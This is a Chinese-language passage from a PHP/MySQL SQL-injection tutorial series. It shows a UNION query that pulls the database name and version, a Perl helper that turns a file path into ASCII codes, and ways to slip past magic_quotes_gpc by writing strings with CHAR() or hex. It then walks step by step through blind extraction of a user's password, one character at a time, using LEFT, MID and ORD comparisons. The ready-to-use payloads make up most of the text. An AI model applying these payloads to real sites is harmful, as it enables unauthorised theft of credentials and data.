php SQL Injection with MySQL(7)

  可以看到一篇文章,我们怎么样才能知道MYSQL数据库的相关信息呢?同样也是用MYSQL内置函数配合UNION联合查询,不过相比之下就简单得多了,甚至还可以读取文件!既然要用到UNION,同样要满足UNION的条件——字段数、数据类型相同。如果我们知道了数据结构,直接构造:

?id=-1 union select 1,database(),version()

 

  就可以返回当前数据库名和数据库版本,构造是比较容易的。
  下面附上一段由我好友Super·Hei写的代码,可以把字符串转换为ASCII代码。感谢提供。

#!/usr/bin/perl
#cody by Super·Hei
#to angel
#C:\>test.pl c:\boot.ini
#99,58,92,98,111,111,116,46,105,110,105

$ARGC = @ARGV;
if ($ARGC != 1) {
  print "Usage: $0 \n";
  exit(1);
}

$path=shift;

@char = unpack('C*', $path);

$asc=join(",",@char);

print $asc;

 

2、不加单引号注入

注:现在我们假设magic_quotes_gpc为on了。

  众所周知,整形的数据是不需要用引号引起来的,而字符串就要用引号,这样可以避免很多问题。但是如果仅仅用整形数据,我们是没有办法注入的,所以我需要把我们构造的语句转换成整形类型,这个就需要用到CHAR(),ASCII(),ORD(),CONV()这些函数了,举个简单的例子:

SELECT * FROM user WHERE username='angel'

 

  如何使$username不带引号呢?很简单我们这样提交就可以了。

SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制。
SELECT * FROM user WHERE username=0x616E67656C
# 0x616E67656C 相当于angel,十六进制。

 

  其他函数大家自己去测试好了,但是前提就如上面所说的,我们可以构造的变量不被引号所包含才有意义,不然我们不管构造什么,只是字符串,发挥不了作用,比如前面猜密码的例子(user,php),我们把查询条件改为userid:

SELECT * FROM user WHERE userid=userid

 

  按照正常的,提交:

?userid=1

 

  就可以查询userid为1的用户资料,因为1是数字,所以有没有引号都无所谓,但是如果我们构造:

?userid=1 and password=mypass

 

  绝对错误,因为mypass是字符串,除非提交:

?userid=1 and password='mypass'

 

  由于magic_quotes_gpc打开的关系,这个是绝对不可能的。引号会变成/',我们有什么办法可以把这些字符串变成整形数据吗?就是用CHAR()函数,如果我们提交:

?userid=1 and password=char(109,121,112,97,115,115)

 

  正常返回,实践证明,我们用CHAR()是可行的,我们就把CHAR()用进LEFT函数里面逐位猜解!

?userid=1 and LEFT(password,1)=char(109)

 

  正常返回,说明userid为1的用户,password字段第一位是char(109),我们继续猜:

?userid=1 and LEFT(password,2)=char(109,121)

 

  又正常返回,说明正确,但这样影响到效率,既然是整形,我们完全可以用比较运算符来比较:

?userid=1 and LEFT(password,1)>char(100)

 

  然后适当调整char()里面的数字来确定一个范围,很快就可以猜出来,到了后面的时候,还是可以用比较运算符来比较:

?userid=1 and LEFT(password,3)>char(109,121,111)

 

  而原来已经猜好的不用改变了,很快就可以猜完:

?userid=1 and LEFT(password,6)=char(109,121,112,97,115,115)

 

  然后在mysql>命令提示符下或者在phpMyadmin里面执行:

select char(109,121,112,97,115,115)

 

  就会返回:mypass

  当然也可以使用SUBSTRING(str,pos,len)和MID(str,pos,len)函数,从字符串 str 的 pos 位置起返回 len 个字符的子串。这个和ACCESS是一样的。还是刚才的例子,我们猜password字段的第三位、第四位试试,第三位是p,第四位是a,我们这样构造:

?userid=1 and mid(password,3,1)=char(112)
?userid=1 and mid(password,4,1)=char(97)

 

  我们要的结果就迸出来了。当然,如果觉得麻烦,还可以用更简单的办法,就是利用ord()函数,具体作用可以去查看MYSQL参考手册,该函数返回的是整形类型的数据,可以用比较运算符进行比较、当然得出的结果也就快多了,也就是这样提交:

?userid=1 and ord(mid(password,3,1))>111
?userid=1 and ord(mid(password,3,1))<113
?userid=1 and ord(mid(password,3,1))=112

 

  这样我们就得出结果了,然后我们再用char()函数还原出来就好了。至于其他更多函数,大家可以自己去试验,限于篇幅也不多说了。

3、快速确定未知数据结构的字段及类型

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/bd02e782512002f38ac6a5588ca1973f.html